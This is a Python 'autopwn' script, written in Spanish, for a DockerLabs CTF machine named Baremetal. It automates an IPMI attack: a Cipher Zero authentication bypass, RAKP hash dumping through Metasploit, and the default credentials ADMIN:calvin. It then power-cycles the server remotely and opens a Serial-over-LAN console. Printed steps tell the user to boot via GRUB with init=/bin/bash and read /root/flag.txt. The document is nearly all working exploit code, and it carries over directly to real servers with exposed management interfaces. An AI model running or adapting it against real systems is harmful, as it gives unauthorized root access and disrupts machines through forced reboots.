Autopwn para CTF Baremetal - Dockerlabs

#!/usr/bin/env python3
"""
Autopwn para CTF Baremetal (IPMI + SOL + GRUB init=/bin/bash)
Uso: python3 autopwn_baremetal.py <IP>
credenciales conseguidas con: msf auxiliary(scanner/ipmi/ipmi_dumphashes)
*** instalar ipmitool primero ***
"""

import subprocess
import sys
import time
import os

TARGET = sys.argv[1] if len(sys.argv) > 1 else "172.17.0.2"
USER = "ADMIN"
PASS = "calvin"
CIPHER = "0"  # Cipher Zero bypass

def run(cmd, timeout=30, capture=True):
    """Ejecuta un comando shell y devuelve la salida."""
    print(f"[*] Ejecutando: {cmd}")
    try:
        result = subprocess.run(
            cmd, shell=True, capture_output=capture,
            text=True, timeout=timeout
        )
        if capture and result.stdout:
            print(result.stdout)
        if capture and result.stderr:
            print(result.stderr, file=sys.stderr)
        return result.stdout if capture else None
    except subprocess.TimeoutExpired:
        print(f"[!] Timeout en: {cmd}")
        return None

def check_ipmi():
    """Verifica que IPMI responde."""
    print("\n[+] Fase 1: Verificando IPMI")
    out = run(f"ipmitool -I lanplus -C {CIPHER} -H {TARGET} "
              f"-U {USER} -P {PASS} mc info")
    if out and "IPMI Version" in out:
        print("[✓] IPMI accesible con Cipher Zero")
        return True
    print("[✗] IPMI no responde")
    return False

def get_hash():
    """Extrae el hash RAKP con Metasploit."""
    print("\n[+] Fase 2: Extrayendo hash RAKP")
    msf_cmd = (
        f"msfconsole -q -x 'use auxiliary/scanner/ipmi/ipmi_dumphashes; "
        f"set RHOSTS {TARGET}; set RPORT 623; "
        f"set CRACK_COMMON true; run; exit'"
    )
    out = run(msf_cmd, timeout=120)
    if out and "matches password" in out:
        print("[✓] Hash crackeado automáticamente")
        return True
    return False

def power_cycle():
    """Reinicia el servidor vía IPMI."""
    print("\n[+] Fase 3: Power cycle")
    run(f"ipmitool -I lanplus -C {CIPHER} -H {TARGET} "
        f"-U {USER} -P {PASS} chassis power cycle", timeout=30)
    print("[*] Esperando 15 segundos a que reinicie...")
    time.sleep(15)

def activate_sol():
    """Activa la consola SOL y arranca con init=/bin/bash."""
    print("\n[+] Fase 4: Activando SOL")

    # Desactivar sesiones previas
    run(f"ipmitool -I lanplus -C {CIPHER} -H {TARGET} "
        f"-U {USER} -P {PASS} sol deactivate", timeout=10)
    time.sleep(2)

    # Activar SOL en una sesión interactiva
    print("[*] Abriendo consola SOL...")
    print("[!] En la consola SOL, ejecuta manualmente:")
    print("    " + "="*60)
    print("    ENTER")
    print("    c")
    print("    grub> linux /vmlinuz-6.1-ctg root=/dev/vda1 rw init=/bin/bash")
    print("    grub> boot")
    print("    root@(initramfs):/# cat /root/flag.txt")
    print("    " + "="*60)

    # Lanzar SOL interactivo
    os.system(f"ipmitool -I lanplus -C {CIPHER} -H {TARGET} "
              f"-U {USER} -P {PASS} sol activate")

def main():
    print("="*60)
    print(f"  AUTOPWN BAREMETAL - Target: {TARGET}")
    print("="*60)

    # Fase 1: Verificar IPMI
    if not check_ipmi():
        print("[!] Abortando: IPMI no accesible")
        return 1

    # Fase 2: Hash (opcional, ya lo tenemos)
    print("\n[+] Fase 2: Hash ya conocido (ADMIN:calvin)")

    # Fase 3: Power cycle
    power_cycle()

    # Fase 4: SOL + GRUB
    activate_sol()

    return 0

if __name__ == "__main__":
    sys.exit(main())